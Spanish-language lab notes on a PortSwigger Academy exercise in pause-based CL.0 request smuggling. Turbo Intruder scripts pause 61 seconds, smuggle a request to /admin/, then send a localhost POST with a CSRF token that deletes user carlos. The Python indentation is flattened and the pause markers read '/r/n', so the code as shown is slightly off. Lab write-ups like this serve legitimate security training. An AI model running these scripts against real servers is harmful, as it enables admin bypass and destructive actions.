> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/server-side-pause-based-request-smuggling.md).
# Contrabando de solicitudes basado en pausas del lado del servidor
Notas de Contrabando de solicitudes basado en pausas del lado del servidor para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.
### Smuggling de solicitudes del lado del servidor basado en pausas
El laboratorio es vulnerable a un ataque de smuggling de solicitudes del lado del servidor basado en pausas. El servidor frontal transmite solicitudes al servidor interno continuamente, y el servidor interno no cierra la conexión después de un retraso de inactividad en algunos endpoints.
Para resolver el laboratorio:
* Identifica un vector de desincronización **CL.0** basado en una pausa,
* Inyecta una solicitud al servidor interno para acceder al panel de administración **/admin**,
* Luego elimina al usuario **carlos**.
**Nota**/ Algunas vulnerabilidades de este tipo no pueden explotarse con las herramientas nativas de Burp. Es necesario usar la **Turbo Intruder** extensión.
#### **Punto vulnerable: `/resources`**
Al enviar una solicitud a `/resources` y al insertar una pausa larga (61 segundos), se puede causar desincronización entre el front-end y el back-end:
```http
POST /resources HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
GET /error HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
```
Para explotar este comportamiento, usamos **Turbo Intruder**.
#### **Script base**
El script predeterminado se modifica para insertar una pausa de **61 000 ms** después de enviar el marcador (`pauseMarker`), de modo que la segunda solicitud se inyecte después del retraso:
El análisis muestra que dos solicitudes llegan al back-end después de unos **62 segundos**, lo que confirma la vulnerabilidad.
```python
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False,
)
attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s"""
smuggled_request = """GET /error HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, interesting):
table.add(req)
```
#### **Inyección hacia `/admin/`**
Adaptando la solicitud contrabandeada al panel de administración:
```http
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False,
)
attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s"""
smuggled_request = """GET /admin/ HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, interesting):
table.add(req)
```
El servidor interno responde con **Encontrado**, lo que demuestra que se ha forzado el acceso de administrador.
#### **Eliminación del usuario Carlos**
Para eludir la protección CSRF, se modifica el host de la solicitud contrabandeada a **localhost**, incluyendo el cuerpo POST con el token capturado:
```http
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False,
)
attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s"""
smuggled_request = """POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 53
csrf=Re4MnOmcNv3hE8gobZocHnS9vcwce2sc&username=carlos
"""
normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""
engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nPOST'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, interesting):
table.add(req)
```
La inyección desencadena un POST contrabandeado en el servidor interno, que elimina al usuario **carlos**.
---
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